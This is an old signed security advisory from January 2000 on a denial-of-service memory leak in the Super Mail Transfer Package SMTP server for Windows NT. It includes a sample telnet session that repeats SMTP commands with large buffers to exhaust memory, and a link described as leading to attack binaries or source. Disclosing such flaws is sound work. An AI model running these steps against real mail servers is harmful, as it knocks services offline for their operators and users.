-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Local / Remote D.o.S Attack in Super Mail Transfer Package (SMTP) Server for WinNT Version 1.9x USSR Advisory Code: USSR-2000031 Release Date: January 13, 2000 Systems Affected: Nosque Workshop, Super Mail Transfer Package (PORT 25) Server for WinNT Version 1.9x and maybe other versions. THE PROBLEM A memory leak exists in the Super Mail Transfer Package that may cause an NT host to stop functioning and/or need to be rebooted. The memory leak may occur when you connect to the SMTP port, all information you send to the system will be stored in memory, and SMTP support multiples HELO/ MAIL FROM/ RCPT TO / DATA in the same connection. If you did multiple HELO/ MAIL FROM/ RCPT TO / DATA in the same connection the memory may not be deallocated. This condition may cause the computer to stop functioning the moment memory runs out. Example: [hellme@die-communitech.net$ telnet example.com 25 Trying example.com... Connected to example.com. Escape character is '^]'. 220 MachineNamet AttackerIp with SMTP for NT BD0198 HELO CHEEF 250 Hello, AtackerHostName AttackerIp mail to: 250 ok rcpt to: 250 to: ok Data 354 Send Mail Message Body; End with . [buffer] (point) 250 OK If you repeat this commands all information passed to the server will be stored in memory thus the memory leak problem, Where [buffer] is aprox. 10000 characters. Binary or source for this D.o.s: http://www.ussrback.com/ Do you do the w00w00? This advisory also acts as part of w00giving. This is another contribution to w00giving for all you w00nderful people out there. You do know what w00giving is don't you? http://www.w00w00.org/advisories.html Vendor Status: Contacted. Vendor Url: http://www.web-net.com/supermail/ Program Url: http://shareit1.element5.com/programs.html?nr=100364 Credit: USSRLABS SOLUTION Vendor say: The related problems are fixed in the next generation of SMTP call MsgCore/NT. Greetings: EEye, Attrition, w00w00, beavuh, Rhino9, ADM, L0pht, HNN, Technotronic and Wiretrip. u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h http://www.ussrback.com -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.2 for non-commercial use iQA/AwUBOH2LMNybEYfHhkiVEQKNHgCfU/XIbI+exgBeSUwMfqkyh0An2QQAoJnX y7JkO2Teh59DPBCDy4WmJ32z =oDT+ -----END PGP SIGNATURE-----